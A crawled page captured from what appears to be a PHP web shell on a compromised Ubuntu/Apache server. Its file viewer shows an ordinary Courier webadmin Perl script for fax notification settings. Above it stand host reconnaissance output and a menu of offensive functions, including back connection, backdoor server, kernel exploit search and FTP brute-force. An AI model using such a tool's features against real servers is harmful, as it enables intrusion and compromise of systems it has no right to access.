|
|
| System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
|---|
| Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
|---|
| ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|---|
|
| Safe Mode | : | OFF |
|---|
| Open_Basedir | : | OFF |
|---|
| Freespace | : | 20.04 GB of 70.42 GB (28.45%) |
|---|
|
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
|
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
src/
courier-0.66.1/
courier/
webadmin/
- drwxrwxrwx
|
Viewing file:  admin-34fax.pl (2.05 KB) -rw-rw-rw-Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#! perl
#
# TITLE: Inbound FAX
#
#
# Copyright 2001 Double Precision, Inc. See COPYING for
# distribution information.
use webadmin;
my $errstr="";
sub encode {
my $mode=shift;
my $hdr=shift;
my $pid=open(REFORMIME, "-|");
die "Content-Type: text/plain\n\n$!" unless defined $pid;
if (!$pid)
{
$hdr =~ /(.*)/;
$hdr= $1;
my $chset="iso-8859-1";
$chset=$1 if $ENV{"HTTP_ACCEPT_CHARSET"} =~ /^([^,\s]+)/;
exec "$bindir/reformime", "-c", $chset, $mode, $hdr;
exit 0;
}
$hdr=join("", <REFORMIME>);
close(REFORMIME);
chomp $hdr;
return ($hdr);
}
if ($cgi->param("Save"))
{
ReplaceEnvVarConfigFile("faxnotifyrc", "DODELETE",
$cgi->param("DODELETE") ? "1":"0");
ReplaceEnvVarConfigFile("faxnotifyrc", "MAILFROM",
$cgi->param("MAILFROM"));
ReplaceEnvVarConfigFile("faxnotifyrc", "RCPTTO",
$cgi->param("RCPTTO"));
ReplaceEnvVarConfigFile("faxnotifyrc", "FROMHDR",
encode("-O", $cgi->param("FROMHDR")));
ReplaceEnvVarConfigFile("faxnotifyrc", "TOHDR",
encode("-O", $cgi->param("TOHDR")));
ReplaceEnvVarConfigFile("faxnotifyrc", "SUBJECTHDR",
encode("-o", $cgi->param("SUBJECTHDR")));
changed("");
$errstr="\@SAVED\@";
}
my $faxnotify=ReadEnvVarConfigFile("faxnotifyrc");
sub hdr {
my $hdr=shift;
my $pid=open(REFORMIME, "-|");
die "Content-Type: text/plain\n\n$!" unless defined $pid;
if (!$pid)
{
$hdr =~ /(.*)/;
exec "$bindir/reformime", "-h", $1;
exit 0;
}
$hdr=join("", <REFORMIME>);
close(REFORMIME);
chomp $hdr;
return (htmlescape($hdr));
}
display_form("admin-34fax.html",
{
"ERROR" => $errstr,
"DODELETE" => ("<input type=\"checkbox\" name=\"DODELETE\""
. ($$faxnotify{"DODELETE"} ? " checked=\"checked\" />":" />")),
"MAILFROM" => $$faxnotify{"MAILFROM"},
"RCPTTO" => $$faxnotify{"RCPTTO"},
"FROMHDR" => hdr($$faxnotify{"FROMHDR"}),
"TOHDR" => hdr($$faxnotify{"TOHDR"}),
"SUBJECTHDR" => hdr($$faxnotify{"SUBJECTHDR"})
}
);
|
